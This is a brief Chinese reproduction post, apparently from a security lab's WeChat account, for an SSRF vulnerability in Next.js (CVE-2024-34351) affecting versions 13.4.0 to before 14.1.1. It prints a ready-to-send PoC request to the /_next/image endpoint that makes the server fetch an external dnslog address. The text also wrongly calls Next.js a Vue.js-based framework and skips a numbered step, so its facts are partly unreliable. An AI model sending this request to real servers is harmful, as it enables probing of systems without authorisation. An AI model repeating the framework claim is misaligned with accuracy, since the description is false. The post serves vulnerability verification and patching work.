ZEIT Next.js是ZEIT公司的一款基于Vue.js、Node.js、Webpack和Babel.js的开源Web应用框架。
ZEIT Next.js 13.4版本至14.1.1之前版本存在代码问题漏洞，该漏洞源于存在服务器端请求伪造 (SSRF) 漏洞。
13.4.0<=next<14.1.1
1.访问漏洞环境
POC
漏洞复现
GET /_next/image?w=16&q=10&url=https://itulk9.dnslog.cn HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
测试dnslog漏洞存在。
3.nuclei文件测试（漏洞存在）
https://www.npmjs.com/package/next/v/14.1.1-canary.40
原文始发于微信公众号（弥天安全实验室）：【成功复现】Vercel next服务器端请求伪造漏洞(CVE-2024-34351)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论